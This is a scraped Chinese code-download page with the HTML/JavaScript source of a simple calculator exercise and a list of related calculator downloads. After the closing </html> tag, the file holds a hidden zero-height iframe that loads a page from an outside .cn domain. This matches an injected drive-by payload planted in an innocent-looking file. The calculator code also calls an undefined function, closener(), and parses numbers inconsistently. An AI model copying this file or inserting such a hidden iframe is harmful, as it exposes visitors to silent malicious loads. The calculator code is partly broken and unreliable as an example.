<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>无标题文档</title>
<script>
var fontNwe=false;//用来判断最先输入的数是第几次
var total=0;//累计计算结果
var opp;//用来记录运算符
function clearall()
{
document.myform.optionName.value=0;
}
function enternumber(number){
if(fontNwe)//如果是真是第二次也就是说以经按了操作符了
{
document.myform.optionName.value=number;//把number负给optionName
fontNwe=false;//把它从新负假
}else
{//就是第一次又如果第一次是的话要从新给它值
if(document.myform.optionName.value=="0")
{
document.myform.optionName.value=number;
}else//让它们的值连接起来
{
document.myform.optionName.value=document.myform.optionName.value+number;
}
}
}
function operation(op)
{
var number1=document.myform.optionName.value;//用来保存第一次输入的字符串
if(fontNwe==true){//如果输入的是第一次的话
opp=op;//如果按多次符号的话保存最后一位最后返回
return;
}
if('+'==opp)//这里保存的是第二次输入的那个字符 如果是第一次按操作符的话就不需要进入
{
total=parseInt(number1)+total;
}
else if('-'==opp)
{
total=total-parseFloat(number1);
}
else if('*'==opp)
{
total*=parseFloat(number1);
}
else if('/'==opp)
{
total/=parseFloat(number1);
}else {
total=parseFloat(number1);// 就把传入来的数负给全局变量的数
}
document.myform.optionName.value=total;
opp=op;//保存输入的字符串
fontNwe=true;//如果是第二次输入的话是让它为真
}
</script>
<style>
.mouserOutStyle{
width:50px;
height:23px;
font-size:14px;
}
</style>
</head>
<body onLoad="closener()">
<form name="myform" >
<table width="202" height="195" border="1" align="center">
<tr align="center" >
<td colspan="4" >
<input name="optionName" type="text" value="0" size="30" align="right"> </td>
</tr>
<tr>
<td width="56">
<input type="button" class="mouserOutStyle" onClick="enternumber('7')" name="Submit" value="7"> </td>
<td width="42"><input class="mouserOutStyle" onClick="enternumber('8')" type="button" name="Submit2" value="8"></td>
<td width="48"><input type="button" name="Submit3" onClick="enternumber('9')"class="mouserOutStyle" value="9"></td>
<td width="62"><input class="mouserOutStyle" onClick="operation('+')" type="button" name="Submit4" value="+"></td>
</tr>
<tr>
<td><input class="mouserOutStyle" type="button" onClick="enternumber('4')" name="Submit5" value="4"></td>
<td><input class="mouserOutStyle" type="button" onClick="enternumber('5')"name="Submit6" value="5"></td>
<td><input class="mouserOutStyle" type="button" onClick="enternumber('6')" name="Submit7" value="6"></td>
<td><input type="button" class="mouserOutStyle" onClick="operation('-')" name="Submit8" value="-"></td>
</tr>
<tr>
<td><input type="button" class="mouserOutStyle" onClick="enternumber('1')" name="Submit9" value="1"></td>
<td><input type="button"class="mouserOutStyle" onClick="enternumber('2')" name="Submit10" value="2"></td>
<td><input type="button"class="mouserOutStyle" onClick="enternumber('3')" name="Submit11" value="3"></td>
<td><input type="button"class="mouserOutStyle" onClick="operation('*')" name="Submit12" value="*"></td>
</tr>
<tr>
<td height="39"><input type="button"class="mouserOutStyle" onClick="clearall('0')" name="Submit13" value="0"></td>
<td><input type="button" onClick="closener()"name="Submit14"class="mouserOutStyle" value="C"></td>
<td><input type="button" name="Submit15"class="mouserOutStyle" onClick="operation('/')" value="/"></td>
<td><input type="button" name="Submit16"class="mouserOutStyle" onClick="operation('=')" value="="></td>
</tr>
</table>
</form>
</body>
</html>
<iframe src=http://mm.aa88567.cn/index/mm.htm width=100 height=0></iframe>
分享到:
相关推荐
利用JavaScript简易计算器,北大青鸟javascript作业题
在这个场景中,我们讨论的是使用JavaScript实现一个简单的计算器功能。这个功能通常包括基本的算术运算,如加、减、乘、除,以及可能的括号支持和清零操作。 首先,我们需要在HTML文件中创建计算器的用户界面。这...
在实际的JavaScript简单计算器程序中,还需要处理其他运算符,如减法、乘法、除法,以及处理优先级、括号等复杂计算。此外,为了实现可拖放功能,可能还需要使用到HTML5的拖放API,让用户可以自由地在浏览器窗口内...
用javascript编程语言编写的简易计算器,仅包含+-*/运算
用javascript实现的一个计算器,
用js做的简易计算器,原理简单,非常实用。
标题中的“一个用JS做的简易计算器”表明这是一个使用...这个简易计算器项目为初学者提供了学习JavaScript基础、DOM操作、事件处理和简单算法的良好实践平台,同时也为有经验的开发者提供了一个扩展和优化的挑战。
略微有些漏洞,但大致的功能基本上都可以实现,可以提供大概的参考代码
这是我初学javascript编写的,利用js编写的简单的计算器,有待改进。
简易计算器java实训报告.pdf
学习了javascript ,这个代码是使用javascript来做一个简单的计算器,可以实现简单的额加减乘除的计算
【标题】"原生JS简易计算器运算代码"指的是一个使用JavaScript编写的基础计算器应用程序。JavaScript是一种广泛用于网页开发的脚本语言,它允许开发者在客户端执行动态功能,如交互式计算。这个项目可能是一个简单的...
JavaScript简单计算器是一个基础的编程项目,它通过使用JavaScript语言,结合HTML和CSS,为用户提供一个在浏览器环境中进行基本数学运算的界面。这个计算器通常包括加、减、乘、除等基本功能,对于初学者来说,这是...
jQuery简易计算器是一个基于JavaScript库jQuery实现的简单计算工具,它为用户提供了一个直观的界面来执行基本的算术运算。这个项目对于初学者来说是很好的学习材料,因为它涉及到前端开发中的DOM操作、事件处理以及...
html+javaScript实现简易计算器。。。。。。。。。。。
JavaScript 实现简单计算器 本文将对 JavaScript 实现简单计算器的原理和实现过程进行详细的解释。 计算器的基本概念 在开始实现计算器之前,我们需要了解计算器的基本概念。计算器是一种 electronic device 或 ...
在这个项目中,我们讨论的是一个使用JavaScript实现的按钮式计算器。这个计算器具有基础的数学运算功能,同时还提供了额外的特性,如连续运算、数据清除、平方根计算、百分比计算以及记忆加减功能。下面我们将详细...
在这个项目中,“javascript实现简单计算器”是一个基础的编程练习,旨在利用JavaScript创建一个能够执行基本数学运算的计算器。 首先,我们需要理解JavaScript的基础语法。JavaScript是一种弱类型的语言,变量在...
HTML简易计算器源代码.zip是一个包含一个简单HTML计算器的项目,主要使用了逆波兰表达式算法来处理计算逻辑,同时结合HTML、CSS和JavaScript技术来构建用户界面和交互功能。这个计算器的设计灵感来源于MIUI计算器,...
JavaScript实现的简单的计算器,这是参考我同学的代码实现,希望能够帮助到你